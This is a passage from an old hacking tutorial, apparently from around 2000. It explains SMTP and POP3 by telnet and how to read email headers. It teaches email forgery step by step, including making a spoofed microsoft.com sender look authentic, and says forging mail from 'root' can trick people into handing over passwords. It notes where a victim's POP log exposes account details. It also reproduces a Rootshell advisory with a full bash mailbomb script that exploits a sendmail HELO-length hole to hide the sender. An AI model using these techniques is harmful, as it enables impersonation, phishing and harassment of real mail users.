  1846. 214-For more info use "HELP <topic>".
  1847. 214-To report bugs in the implementation send email to
  1848. 214-    sendmail-bugs@sendmail.org.
  1849. 214-For local information send email to Postmaster at your site.
  1850. 214 End of HELP info
  1851.  
  1852. To get help on individual commands you can try typing help followed by the
  1853. commandname.
  1854. For eaxmple typing
  1855. help helo
  1856.  
  1857. Brings the following response:
  1858.  
  1859. 214-HELO 214- Introduce yourself.
  1860. 214 End of HELP info
  1861.  
  1862. Eagle Eyed readers must have noticed that all messages from the server have 
  1863. a
  1864. preceeding number, well you guessed it the numbers represent the kind of 
  1865. message
  1866. following it.For example, all help messages by default have the number 
  1867. 214.Each
  1868. kind of message that the server sends has a unique number associated with 
  1869. it.
  1870. Before you go on I suggest you find out what each command does by typing 
  1871. help
  1872. following by the command name and also if possible read the Unix man pages 
  1873. on
  1874. Sendmail, they are quite good.You will not be able to understand the next 
  1875. part
  1876. if you do not know the syntax and use of each command.Do read the Sendmail 
  1877. help
  1878. before reading further.
  1879.  
  1880. Anyway let's move on,
  1881. Now let's see...I want to send myself an email at ankit@bol.net.in from
  1882. billgates@microsoft.com
  1883. So I type the following, note that the text that I type has no preceeding 
  1884. number
  1885. and the text which have a preceeding number is the response from the server 
  1886. I am
  1887. connected to.
  1888.  
  1889. helo ankit.com
  1890. 250 delhi1.mtnl.net.in Hello, pleased to meet you
  1891. mail from:billgates@microsoft.com
  1892. 250 <billgates@microsoft.com> ... Sender Okay
  1893. rcpt to:ankit@bol.net.in
  1894. 250 <ankit@bol.net.in> ... Recipient Okay
  1895. data
  1896. 354 Enter mail, end with "." on a line by itself
  1897. My first forged mail!!!
  1898. .
  1899. 250 Mail accepted
  1900.  
  1901. Then I opened my Inbox and read through the Headers of the this email that I
  1902. just forged.
  1903.  
  1904. Return-Path: <billgates@microsoft.com>
  1905. Received: from ankit.com by myisp.com(8.9.1/1.1.20.3/26Oct99-0620AM)
  1906.     id UAA0000026614; Fri, 7 Apr 2000 20:01:52 +0530 (IST)
  1907. Date: Fri, 7 Apr 2000 20:01:52 +0530 (IST)
  1908. From: <billgates@microsoft.com>
  1909. Message-Id: <200004071431.UAA0000026614@delhi1.mtnl.net.in>
  1910. X-UIDL: dcbef1ba736c55ddc08d6a93609979a9
  1911.  
  1912.  
  1913. The email seems to be pretty much a perfect forge, but the line that is the 
  1914. most
  1915. obvious culprit which gives me away is:
  1916.  
  1917. Received: from ankit.com by myisp.com (8.9.1/1.1.20.3/26Oct99-0620AM)
  1918.     id UAA0000026614; Fri, 7 Apr 2000 20:01:52 +0530 (IST)
  1919.  
  1920. The ankit.com thing would arouse the suspicion of any experienced hacker.Now 
  1921. how
  1922. can the following scenario be true when the email address that the message 
  1923. is
  1924. coming from has the domain name:microsoft.com but the email header says that 
  1925. the
  1926. mail originated not from a mail server within Microsoft' s network but from
  1927. ankit.com which is supposedly a mail server.
  1928.  
  1929. Now why did Sendmail put ankit.com in the header? So I went through the SMTP
  1930. commands that I had issued once again and found that I had given the helo
  1931. ankit.com command and Sendmail had picked this domain ankit.com and put it 
  1932. into
  1933. the header of the email.So to remove this ankit.com from the header and to 
  1934. make
  1935. the email to look more authentic, I change the parameter that I passed the 
  1936. Helo
  1937. command with.
  1938. Instead of  'helo ankit.com'  I try out 'helo microsoft.com' and let the 
  1939. other
  1940. commands remain the same.Now when I see the headers, I see that the headers 
  1941. have
  1942. changed to:
  1943.  
  1944. Return-Path: <billgates@microsoft.com>
  1945. Received: from microsoft.com by myisp.com (8.9.1/1.1.20.3/26Oct99-0620AM)
  1946.     id UAA0000020667; Fri, 7 Apr 2000 20:00:10 +0530 (IST)
  1947. Date: Fri, 7 Apr 2000 20:00:10 +0530 (IST)
  1948. From: <billgates@microsoft.com>
  1949. Message-Id: <200004071430.UAA0000020667@delhi1.mtnl.net.in>
  1950. X-UIDL: 636646d210be0e13fbcf936308c99222
  1951.  
  1952. The ankit.com bit does not appear again and this kind of forgery may pass if 
  1953. the
  1954. person to whom you are sending this email to is a newbie.But experienced 
  1955. hackers
  1956. will definitely point out that the Message-Id part of the header says that 
  1957. the
  1958. email was composed at delhi1.mtnl.net.in but the second line says that the 
  1959. email
  1960. originated at microsoft.com. So he would write to 
  1961. postmaster@delhi1.mtnl.net.in
  1962. or  help@delhi1.mtnl.net.in or root@delhi1.mtnl.net.in and complain that he 
  1963. had
  1964. received a forged email and would like to investigate.Most system 
  1965. administrators
  1966. are really jumpy about their servers being used for purposes they were not 
  1967. meant
  1968. for and will easily co operate with the comaplainer and you are caught.Some
  1969. ISP's are so cranky that if you are caught doing something like this, you 
  1970. will
  1971. probably be kicked out of the use of their service.
  1972.  
  1973. There is not solution to this problem.By that what I mean to say is that the
  1974. victim can always send an email to the system administrator of the server 
  1975. shown
  1976. by the Message ID line.But the forgery may look for more real if the Message 
  1977. ID
  1978. line shows the mail server of the same domain name as the forged email 
  1979. address
  1980. belongs to.For example, say the forged email address is 
  1981. billgates@microsoft.com
  1982. then instead of the Message-Id showing the delhi1.mtnl.net.in server, if it
  1983. shows something like mail.microsoft.com, it makes the email look more 
  1984. authentic.
  1985.  
  1986. *******************
  1987. Hacking Truth: When we give the MAIL FROM: billgates@microsoft.com, then the
  1988. mail appears to have come from Bill Gates. Now in the Mail from command, we 
  1989. can
  1990. instead of providing an email address, provide something like root or
  1991. localhost.So For Example, if I enter the command: MAIL FROM: root then the 
  1992. heads
  1993. of the email would look like:
  1994.  
  1995. Return-Path: <root>
  1996. Received: from microsoft.com by delhi1.mtnl.net.in
  1997.          (8.9.1/1.1.20.3/26Oct99-0620AM) id TAA0000022089; Sun, 9 Apr
  1998.          2000 19:55:42 +0530 (IST)
  1999. Date:Sun, 9 Apr 2000 19:55:42 +0530 (IST)
  2000. From: root@microsoft.com
  2001. Message-ID:200004091425.TAA0000022089@mailgw.xx.microsoft.com
  2002. X-UIDL: 636646d210be0e13fbcf936308c99222
  2003.  
  2004. This way we can make the email seem to have come from the system 
  2005. administrator
  2006. which then in turn can be utilised in fooling people into giving away their
  2007. Internet Passwords.Yes...Email forging CAN be used to steal passwords, one 
  2008. just
  2009. needs a bit of intelligence and a great deal of luck.
  2010.  
  2011. *******************
  2012. Now that you know how to read some basic headers, let's examine some more 
  2013. advanced headers which we receive from all emails sent to a mailing list.
  2014. When you see the full headers of an email that you received through a 
  2015. mailing list, you will find that the email headers are more advanced and 
  2016. difficult to understand.Let's take an example of to make things clearer.The 
  2017. following are the headers of a recent email that I received through my 
  2018. mailing list; programmingforhackers.[I myself had sent this email to the 
  2019. list.]
  2020.  
  2021. Return-Path:   <sentto-1575622-4-ankit=bol.net.in@returns.onelist.com>
  2022. Received:  from b05.egroups.com by delhi1.mtnl.net.in
  2023.                   (8.9.1/1.1.20.3/26Oct99-0620AM) id OAA0000021910; Thu, 13 
  2024. Apr 2000 14:29:14 +0530 (IST)
  2025. X-eGroups-Return: sentto-1575622-4-ankit=bol.net.in@returns.onelist.com
  2026. Received:from [10.1.10.37] by b05.egroups.com with NNFMP; 13 Apr 2000 
  2027. 08:58:09 -0000
  2028. Received: (qmail 20883 invoked from network); 13 Apr 2000 08:58:07 -0000
  2029. Received:  from unknown (10.1.10.26) by m3.onelist.org with QMQP; 13 Apr 
  2030. 2000 08:58:07 -0000
  2031. Received:  from unknown (HELO qg.egroups.com) (10.1.2.27) by mta1 with  
  2032. SMTP; 13 Apr 2000 08:58:07 -0000 Received:  (qmail 2092 invoked from 
  2033. network); 13 Apr 2000 08:58:01 -0000
  2034. Received:  from delhi1.mtnl.net.in (203.xx.243.51) by qg.egroups.com with  
  2035. SMTP; 13 Apr 2000 08:58:01 -0000
  2036. Received:  from bol.net.in by delhi1.mtnl.net.in 
  2037. (8.9.1/1.1.20.3/26Oct99-0620AM) id OAA0000001463; Thu, 13
  2038.                    Apr 2000 14:28:46 +0530 (IST)
  2039. Message-ID: <38F61F28.B2045192@bol.net.in>
  2040. X-Mailer:  Mozilla 4.5 [en] (Win98; I)
  2041. X-Accept-Language: en
  2042. To: "programmingforhackers@eGroups.com" <programmingforhackers@eGroups.com>
  2043. References: <38F4E37B.55A83239@bol.net.in>
  2044. MIME-Version: 1.0
  2045. Mailing-List:  list programmingforhackers@egroups.com; contact
  2046.                    programmingforhackers-owner@egroups.com
  2047. Delivered-To: mailing list programmingforhackers@egroups.com
  2048. Precedence: bulk
  2049. List-Unsubscribe:<mailto:programmingforhackers-unsubscribe@egroups.com>
  2050. Date: Thu, 13 Apr 2000 15:25:33 -0400
  2051. X-eGroups-From: Ankit Fadia <ankit@bol.net.in>
  2052. From:  Ankit Fadia <ankit@bol.net.in>
  2053. Reply-To:  programmingforhackers-owner@egroups.com
  2054. Subject: [programmingforhackers] Hi
  2055. Content-Type: multipart/alternative;
  2056.                    boundary="------------EF668DA53EE7F0ED0AA654E9"
  2057.  
  2058. This email header is lot different from the headers that we had examined 
  2059. earlier.It's not as difficult to understand this header, as it seems.Believe 
  2060. me, it is quite easy, once you ge the hang of it. To examine this header, we 
  2061. will be going in the reverse order.i.e. we will take the bottommost line 
  2062. first and then slowly move up.
  2063.  
  2064. Date: Thu, 13 Apr 2000 15:25:33 -0400
  2065. X-eGroups-From: Ankit Fadia <ankit@bol.net.in>
  2066. From:  Ankit Fadia <ankit@bol.net.in>
  2067. Reply-To:  programmingforhackers-owner@egroups.com
  2068. Subject: [programmingforhackers] Hi
  2069. Content-Type: multipart/alternative;
  2070.                    boundary="------------EF668DA53EE7F0ED0AA654E9"
  2071.  
  2072. This part of the header basically tells us that the mail was sent by 
  2073. ankit@bol.net.in on 13th april at 3:15 PM 4 hours behind GMT.It also tells 
  2074. us that replying to this email will send the message to the Group Owner of 
  2075. this mailing list.(Same as the moderator of the list.)
  2076.  
  2077. X-Mailer:  Mozilla 4.5 [en] (Win98)
  2078. X-Accept-Language: en
  2079. To: "programmingforhackers@eGroups.com" <programmingforhackers@eGroups.com>
  2080. References: <38F4E37B.55A83239@bol.net.in>
  2081. MIME-Version: 1.0
  2082. Mailing-List:  list programmingforhackers@egroups.com; contact
  2083.                    programmingforhackers-owner@egroups.com
  2084. Delivered-To: mailing list programmingforhackers@egroups.com
  2085. Precedence: bulk
  2086. List-Unsubscribe:<mailto:programmingforhackers-unsubscribe@egroups.com>
  2087.  
  2088. How many times, have you seen lamers posting messages like: How can I 
  2089. unsubscribe from this list??? Or even Please Unsubscribe me, to Hardcore 
  2090. Hacking Lists .These so called Hackers are nothing but script kiddies who 
  2091. are so lame that it doesn't even stike them that seeing the email headers 
  2092. might help.Wonder if they even know what Headers are.
  2093.  
  2094. Most Mailing Lists(Atleast Egroups and Onelist do) attach information to the 
  2095. headers about the mailing list.This information includes the list name, the 
  2096. email address of the moderator and also the email address which is required 
  2097. to unsubscribe from the mailing list.
  2098.  
  2099. This part of the email header also tells us that the sender i.e. 
  2100. ankit@bol.net.in used Mozilla 4.5 running on Win98 and the mail was sent to
  2101. programmingforhackers@egroups.com
  2102.  
  2103. Now comes the part which a newbie might have difficult to understand.
  2104.  
  2105. Received:from [10.1.10.37] by b05.egroups.com with NNFMP; 13 Apr 2000 
  2106. 08:58:09 -0000
  2107. Received: (qmail 20883 invoked from network); 13 Apr 2000 08:58:07 -0000
  2108. Received:  from unknown (10.1.10.26) by m3.onelist.org with QMQP; 13 Apr 
  2109. 2000 08:58:07 -0000
  2110. Received:  from unknown (HELO qg.egroups.com) (10.1.2.27) by mta1 with  
  2111. SMTP; 13 Apr 2000 08:58:07 -0000 Received:  (qmail 2092 invoked from 
  2112. network); 13 Apr 2000 08:58:01 -0000
  2113. Received:  from delhi1.mtnl.net.in (203.xx.243.51) by qg.egroups.com with  
  2114. SMTP; 13 Apr 2000 08:58:01 -0000
  2115. Received:  from bol.net.in by delhi1.mtnl.net.in 
  2116. (8.9.1/1.1.20.3/26Oct99-0620AM) id OAA0000001463; Thu, 13
  2117.                    Apr 2000 14:28:46 +0530 (IST)
  2118. Message-ID: 38F61F28.B2045192@bol.net.in
  2119.  
  2120. NOTE: Like I said earlier, we would be reading the lines in the reverse 
  2121. order.
  2122.  
  2123. Received:  from bol.net.in by delhi1.mtnl.net.in 
  2124. (8.9.1/1.1.20.3/26Oct99-0620AM); Thu, 13 Apr 2000 14:28:46 +0530 (IST)
  2125. Message-ID: 38F61F28.B2045192@delhi1.mtnl.net.in
  2126.  
  2127. This line tells us that the mail was sent using the Sendmail Daemon (8.9.1) 
  2128. running at delhi1.mtnl.net.in.The bol.net.in part was generated because the 
  2129. email client which was used by the sender to send the mail gave the 
  2130. following command to delhi1.mtnl.net.in:
  2131.  
  2132. helo bol.net.in
  2133.  
  2134. Hence it got into the header.Once the email was composed, the Sendmail 
  2135. daemon checks to which domain the email has to be sent.It found that the 
  2136. receipient was programmingforhackers@egroups.com hence it said." Let me pass 
  2137. it on to an egroups server.
  2138.  
  2139. Received:  from unknown (10.1.10.26) by m3.onelist.org with QMQP; 13 Apr 
  2140. 2000 08:58:07 -0000
  2141. Received:  from unknown (HELO qg.egroups.com) (10.1.2.27) by mta1 with  
  2142. SMTP; 13 Apr 2000 08:58:07 -0000 Received:  (qmail 2092 invoked from 
  2143. network); 13 Apr 2000 08:58:01 -0000
  2144. Received:  from delhi1.mtnl.net.in (203.xx.243.51) by qg.egroups.com with  
  2145. SMTP; 13 Apr 2000 08:58:01 -0000
  2146.  
  2147. After the mail was composed, delhi1.mtnl.net.in whose IP is 203.xx.243.51 
  2148. passed the email on to the egroups server, qg.egroups.com.At egroups the 
  2149. entire world has been divided into many parts and a unique different server 
  2150. handles mails coming from different parts of the world.
  2151.  
  2152. Then qg.egroups.com launched the qmail daemon(qmail too is a daemon similar 
  2153. to Sendmail but it is much more secure.) running on another machine within 
  2154. the Egroups Internal Network whose IP is 10.1.2.27(See, the email headers do 
  2155. not display the machine name always, sometimes it simply displays the IP of 
  2156. the machine.And hey this machine would probably be behind a firewall, so no 
  2157. use Telnetting it.)Hence at 10.1.2.27 the email was re-composed and was sent 
  2158. to mta1 yet another machine within the Network running SMTP.But. mta1 cannot 
  2159. be it's full name, and neither has it's IP been displayed, so what is the 
  2160. address of this machine.If you look at the next line,you will see that the 
  2161. IP of mta1 is given to be: 10.1.10.26.If you have read this manual carefully 
  2162. then you would be able to say what kind of Network it is.If you can't, well, 
  2163. it is a Class B network.
  2164.  
  2165. mta1 or 10.1.10.26 then sent it to m3.onelist.org which is running QMQP. Now 
  2166. what the hell is that? It basically is a part of qmail which  receives  
  2167. messages via the Quick Mail Queueing Protocol (QMQP).It allows users to 
  2168. relay messages to any destination,but is generally used to send messages of 
  2169. preauthorised users.
  2170.  
  2171. Received:from [10.1.10.37] by b05.egroups.com with NNFMP; 13 Apr 2000 
  2172. 08:58:09 -0000
  2173. Received: (qmail 20883 invoked from network); 13 Apr 2000 08:58:07 -0000
  2174.  
  2175. Then the QMQP was used to start the qmail daemon and the message was in 
  2176. queue and was then sent to bo5.egroups.com by 10.1.10.37 which is actually 
  2177. either m3.onelist.org or the machine at which the qmail daemon is running.
  2178. b05.egroups.com is the server where the database of the list of members of a 
  2179. particular mailing list is stored.It is here where the server sends the 
  2180. email to all members of the list.This server is runnign NNFMP which 
  2181. basically checks that the members of the list are reachable or not.For 
  2182. example, if a particular email address which is a part of a list does not 
  2183. exist then it is this NNFMP service which generates an error messages and 
  2184. therby after attempting twice or thrice to send the message,removes this 
  2185. invalid email address from the database of subscribers.
  2186.  
  2187. Return-Path:   <sentto-1575622-4-ankit=bol.net.in@returns.onelist.com>
  2188. Received:  from b05.egroups.com by delhi1.mtnl.net.in
  2189.                   (8.9.1/1.1.20.3/26Oct99-0620AM) id OAA0000021910; Thu, 13 
  2190. Apr 2000 14:29:14 +0530 (IST)
  2191. X-eGroups-Return: sentto-1575622-4-ankit=bol.net.in@returns.onelist.com
  2192.  
  2193. As an when the server finds subscribers in it's database, it prepares the 
  2194. headers and sends  the messages to them.The numbers preceeding the email 
  2195. address of the receiver is the reference number used by the Egroups server 
  2196. to refer to a particular member and the message sent to him.Hence the Return 
  2197. Path Statement does not show the sender of the email but the email address 
  2198. of the person for whom the email was meant.
  2199.  
  2200. There is a misconception amongst people that if an email has been sent from 
  2201. a
  2202. hotmail account, then you remain annonymous.This is not at all true.Yes 
  2203. Homtail
  2204. may seem to be anonymous to a certain extend, but it is not too difficult to
  2205. find out more about a Hotmail user.
  2206.  
  2207. The flaw lies in the headers that the Hotmail mail servers attach to all
  2208. outgoing mails.Hotmail records the IP's of all people who log into their
  2209. accounts.Now this IP is attached to all the respective outgoing mails.Now 
  2210. let's
  2211. take a look at a typical header of an email sent from a Hotmail account.
  2212.  
  2213. Return-Path: <namita_8@hotmail.com>
  2214. Received: from hotmail.com by delhi1.mtnl.net.in 
  2215. (8.9.1/1.1.20.3/26Oct99-0620AM)
  2216.     id TAA0000032714; Sun, 23 Jan 2000 19:02:21 +0530 (IST)
  2217. Received: (qmail 34532 invoked by uid 0); 23 Jan 2000 13:30:14 -0000
  2218. Message-ID: <20000123133014.34531.qmail@hotmail.com>
  2219. Received: from 202.54.109.174 by www.hotmail.com with HTTP;    Sun, 23 Jan 2000
  2220. 05:30:14 PST
  2221. X-Originating-IP: [202.xx.109.174]
  2222. From: "Namita Mullick" <namita_8@hotmail.com>
  2223. To: ankit@bol.net.in
  2224. Date: Sun, 23 Jan 2000 19:00:14 IST
  2225. Mime-Version: 1.0
  2226. Content-Type: text/plain; format=flowed
  2227. X-UIDL: 5c296dd2b5265c76e117ae1390e229ab
  2228.  
  2229. The line that interests us the following:
  2230.  
  2231. X-Originating-IP: [202.xx.109.174]
  2232.  
  2233. NOTE: I have delibrately inserted xx instead of actual numbers for privacy
  2234. purposes.
  2235.  
  2236. What's this in the brackets? Well that is the IP address of the sender of 
  2237. the
  2238. email. This IP would most certainly be a dynamic one, this means that 
  2239. somebody
  2240. else might be assigned that same IP at this momemt.But we can easily find 
  2241. out
  2242. the ISP which issues this IP to it's subscribers by doing a traceroute.
  2243.  
  2244. C:\windows>tracert 202.xx.109.174
  2245.  
  2246. This security flaw is not only present in Hotmail, but many other Web Based
  2247. Email Service providers and also some ISP's have this tendency of not 
  2248. keeping
  2249. security absoulutely tight and let this flaw prevail.So how do you get 
  2250. around
  2251. this problem? Well Proxy Servers hold the answer.Now let's understand how 
  2252. proxy servers give us anonymity.Normlly a TCP\IP data tranfer takes place 
  2253. something like in the following way:
  2254.  
  2255. Your IP Address is 203.xx.21.11 and you connect to www.hotmail.com.
  2256.  
  2257. 203.xx.21.11 ----------> www.hotmail.com
  2258.  
  2259. You send a request to hotmail.com. Hotmail's server records your IP and uses 
  2260. this recorded IP to send data packets to you.
  2261.  
  2262. www.hotmail.com --------> 203.xx.21.11
  2263.  
  2264. So when you send an email using your Hotmail account, the receiver of your 
  2265. email knows your identity and can trace you.But after you install a Proxy 
  2266. server, the data transfer will take place in the following way:
  2267.  
  2268. 203.xx.21.11 --------> 121.xx.01.89 ----------> www.hotmail.com
  2269.  
  2270. Now in this case, you send a request to hotmail.com which is sent via the 
  2271. proxy server, whose IP address is 121.xx.01.89.Hence hotmail establishes a 
  2272. direct connection with the Proxy Server(121.xx.01.89) and an indirect 
  2273. conection with you(203.xx.21.11).Hence the IP address that Hotmail records 
  2274. is the unique IP of the Proxy server installed at your system and not your 
  2275. direct IP.Hence you remain private.
  2276. Popular Proxy Servers for Windows are WinGate and WinProxy.
  2277. There are also online Privacy services like anonymous.com and privacyx.com. 
  2278. Only privacyx.com is a good one.
  2279.  
  2280. *********ROOTSHELL***************
  2281.  
  2282. Here's a brief description of Sendmail (qmail) hole I found
  2283. recently:
  2284.  
  2285. When someone mailbombs you, or tries to send fakemail, spam, etc -
  2286. sendmail normally attachs sender's host name and it's address
  2287. to outgoing message:
  2288.  
  2289. --
  2290. >From spam@flooders.net Mon Jan  5 22:08:21 1998
  2291. Received: from spammer (marc@math.university.edu [150.129.84.5])
  2292.           by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376
  2293.           for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100
  2294. Date: Mon, 5 Jan 1998 22:07:54 +0100
  2295. From: spam@flooders.net
  2296. Message-Id: <3.14159665@pi>
  2297.  
  2298. MAILBOOM!!!
  2299. --
  2300.  
  2301. That's perfect - now you know, who is responsible for that annoying
  2302. junk in your mailbox: "Received: from spammer (marc@math.university.edu
  2303. [150.129.84.5])". Nothing easier...
  2304. But I found a small hole, which allows user to hide it's personality,
  2305. and send mails anonymously. The only thing you should do is to
  2306. pass HELO string longer than approx. 1024 B - sender's location and
  2307. other very useful information will be cropped!!! Message
  2308. headers should become not interesting. Sometimes, sender
  2309. may become quite untraceable (but not always, if it's possible
  2310. to obtain logs from machine which has been used to sent):
  2311.  
  2312. --
  2313. >From spam@flooders.net Mon Jan  5 22:09:05 1998
  2314. Received: from xxxxxxxxxxxxxx... [a lot of 'x's] ...xxxx
  2315. Date: Mon, 5 Jan 1998 22:08:52 +0100
  2316. From: spam@flooders.net
  2317. Message-Id: <3.14159665@pi>
  2318.  
  2319. MAILBOOM!!! Now guess who am I...
  2320. --
  2321.  
  2322.  
  2323. Here's a simple example of Sendmail's HELO hole usage. Note, this
  2324. script has been written ONLY to show how easy may be sending
  2325. fakemails, mailbombs, with cooperation of Sendmail ;) Script is
  2326. very slow and restricted in many ways, but explains the problem
  2327. well (note, some of non-Berkeley daemons are also affected,
  2328. probably Qmail?):
  2329.  
  2330. -- EXPLOIT CODE --
  2331. #!/bin/bash
  2332. TMPDIR=/tmp/`whoami`
  2333. PLIK=$TMPDIR/.safe
  2334. TIMEOUT=2
  2335. LIMIT=10
  2336. MAX=20
  2337.  
  2338. echo
  2339. echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
  2340. echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
  2341. echo
  2342.  
  2343. if [ "$4" = "" ]; then
  2344.   echo "USAGE: $0 msgfile address server sender"
  2345.   echo
  2346.   echo "  msgfile - file to send as a message body"
  2347.   echo "  address - address of lucky recipient"
  2348.   echo "  server  - outgoing smtp server w/sendmail"
  2349.   echo "  sender  - introduce yourself"
  2350.   echo
  2351.   echo "WARNING: For educational use ONLY. Mailbombing is illegal."
  2352.   echo "Think twice BEFORE you use this program in any way. Also,"
  2353.   echo "I've never said this program is 100% safe nor bug-free."
  2354.   echo
  2355.   sleep 1
  2356.   exit 0
  2357. fi
  2358.  
  2359. if [ ! -f $1 ]; then
  2360.   echo "Message file not found."
  2361.   echo
  2362.   exit 0
  2363. fi
  2364.  
  2365. echo -n "Preparing message..."
  2366. mkdir $TMPDIR &>/dev/null
  2367. chmod 700 $TMPDIR
  2368. echo "echo \"helo
  2369. _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_
  2370. _safebomb__safebomb__safebomb__sa
  2371. febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa
  2372. febomb__safebomb__safebomb__safebomb__safebomb__saf
  2373. ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
  2374. ebomb__safebomb__safebomb__safebomb__safebomb__safe
  2375. bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe
  2376. bomb__safebomb__safebomb__safebomb__safebomb__safeb
  2377. omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb
  2378. omb__safebomb__safebomb__safebomb__safebomb__safebo
  2379. mb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebo
  2380. mb__safebomb__safebomb__safebomb__safebomb__safebom
  2381. b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom
  2382. b__safebomb__safebomb__safebomb__safebomb__safebomb
  2383. b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom
  2384. b__safebomb__safebomb__safebomb__safebomb__safebomb
  2385. __safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
  2386. __safebomb__safebomb__safebomb__safebomb__safebomb_
  2387. _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_\"" 
  2388.  >$PLIK
  2389. echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
  2390. echo "echo \"rcpt to: $2\"" >>$PLIK
  2391. echo "echo \"data\"" >>$PLIK
  2392. echo "cat <<__qniec__" >>$PLIK
  2393. cat $1 >>$PLIK
  2394. echo "__qniec__" >>$PLIK
  2395. echo "echo \".\"" >>$PLIK
  2396. echo "echo \"quit\"" >>$PLIK
  2397. echo "sleep $TIMEOUT" >>$PLIK
  2398. chmod +x $PLIK
  2399. echo "OK"
  2400.  
  2401. echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
  2402. SENT=0
  2403.  
  2404. while [ -f $1 ]; do
  2405.   $PLIK|telnet $3 25 &>/dev/null &
  2406.   let SENT=SENT+1
  2407.   echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
  2408.   CONNECTED=`ps|grep -c "telnet $3"`
  2409.   if [ "$LIMIT" -le "$CONNECTED" ]; then
  2410.     while [ "$LIMIT" -le "$CONNECTED" ]; do
  2411.       sleep 1
  2412.     done
  2413.   fi
  2414.   if [ "$SENT" -ge "$MAX" ]; then
  2415.     echo "It's just an example, sorry."
  2416.     echo
  2417.     exit 0
  2418.   fi
  2419. done
  2420. -- EOF --
  2421.  
  2422. Suggested fix: insert additional length limit into HELO/EHLO
  2423. parameter scanning routine OR disable AllowBogusHELO (but it
  2424. may cause serious troubles). I have no 8.8.8 sources at the
  2425. time, so execuse me if it's unclear.
  2426.  
  2427. PS:
  2428.  
  2429. --
  2430. From: Gregory Neil Shapiro <sendmail+gshapiro@sendmail.org>
  2431.  
  2432. I was able to reproduce the header problem by lengthening the HELO string
  2433. in your script.
  2434.  
  2435. [...]
  2436.  
  2437. This will be fixed in sendmail 8.9.
  2438. --
  2439. ******ROOTSHELL***********
  2440.  
  2441. Receiving mail without an Email client POP3 (Port 110)
  2442.  
  2443. Now that you know practicaly almost everything that one can think about 
  2444. sending
  2445. emails, let's move on to receiving emails the kewl way.Normally what you do 
  2446. is
  2447. launch your favourite email client and click on the receive buttton to start
  2448. downloading new messages.Now the email client connects to youe mail server 
  2449. and
  2450. starts issuing POP commands.So this is how a normal procedure of downloading
  2451. emails takes place.
  2452.  
  2453. *************
  2454. Hacking Truth: Just like Outlook Express maintains a log file which contains
  2455. various POP commands that it issued to download emails from the mail server.
  2456. This file is the POP.log file which is again stored in the
  2457. "c:\windows\Applicartion Data" folder.Just search for it.One can go through 
  2458. it
  2459. to find out the Username, mail server and also the length of password of the
  2460. victim.
  2461. *************
  2462.  
  2463. So what exactly is POP? POP or Post Office Protocol is nothing but a 
  2464. protocol
  2465. which is used to download messages from a mail server.A mail server 
  2466. implementing
  2467. the the POP protocol stores the emails for users.It serves email clients 
  2468. which
  2469. download messages by giving POP commands.A POP server stores the email until 
  2470. the
  2471. user log in to retrieve the messages.Once the messages are downloaded, the
  2472. server no longer maintains them.
  2473. POP3 is nothing but the third version that is the latest version of the Post
  2474. Office Protocol.
  2475. The POP daemon runs by default on Port 110 and is not as co operative as
  2476. Sendmail is and also does not provide any help.Unlike the Sendmail daemon it
  2477. requires the user to enter a UserName and Password. Hence, A person is not 
  2478. able
  2479. to download emails unless and until he has authenticated himself by 
  2480. providing a
  2481. User Name and Password.So let's learn POP3.
  2482.  
  2483. Launch Telnet and telnet to Port 110 of your mail server by issuing the 
  2484. command:
  2485.  
  2486. telnet mail2.isp.net 110
  2487.  
  2488. You will be welcomes by the daemon banner, which would probably be something
  2489. like:
  2490.  
  2491. +OK QPOP (version 2.53) at delhi1.mtnl.net.in starting.
  2492.  
  2493. This means that the daemon is ready for your input. Now let's see what 
  2494. happens
  2495. if you type Help at the prompt.Most servers will disconnect you as soon as 
  2496. it
  2497. encounters a wrong move from the client.My ISP does not disconnect me but I 
  2498. do
  2499. not get any response at all.The Telnet client just hangs.The '?' command too
  2500. doesn't bring about any response.The POP daemon is really cranky and it 
  2501. doesn't
  2502. stand any 'roobish' (read rubbish) at all.So unfortunately all those of all 
  2503. who
  2504. are as forgetful as I am will have to somehow remember POP commands.
  2505.  
  2506. Firstly before you can issue any other command, one has to provide the POP
  2507. daemon with a Username and Password.So use the USER command to provide the
  2508. Password and the PASS command to provide the password.Let's say my Username 
  2509. is
  2510. ankit and the password is hackingtruths, then I would login in the following
  2511. way:
  2512.  
  2513. USER ankit
  2514.  
  2515. The server replies:
  2516.  
  2517. +OK Password required for ankit.
  2518.  
  2519. Now we need to give the POP daemon what it needs a password:
  2520.  
  2521. PASS hackingtruths
  2522.  
  2523. The server replies:
  2524.  
  2525. +OK ankit has xx messages (yyyyy octets).
  2526.  
  2527. Where xx is the number of new messages and yyyyy is the space occupied by 
  2528. them.
  2529. For example if I have 22 new messages which occupy 135981 octets then I 
  2530. would
  2531. get something like:
  2532. +OK ankit has 22 messages (135981 octets).
  2533.  
  2534. Now if either the username or Password is incorrect them you will receive an
  2535. error message, something like:
  2536.  
  2537. -ERR Bad login  (If the Username is invalid)
  2538. -ERR Password supplied for "usernamehere" is incorrect. (If the Username is
  2539. correct but the Password is incorrect.)
  2540.  
  2541. Now that you have verified yourself, let's list the new messages by giving 
  2542. the
  2543. 'list' command.
  2544. For Example, I have 2 new message in my Inbox and when I give the list 
  2545. command
  2546. the server return the following:
  2547. I type the list command:
  2548.  
  2549. list
  2550.  
  2551. The server returns
  2552.  
  2553. +OK 2 messages (8164 octets)
  2554. 1 2471
  2555. 2 5693
  2556. .
  2557.  
  2558. The numbers on the right of each message number is the size of the new 
  2559. email.
  2560. Note the email numbers which in the above case are 1 and 2 are important as 
  2561. they
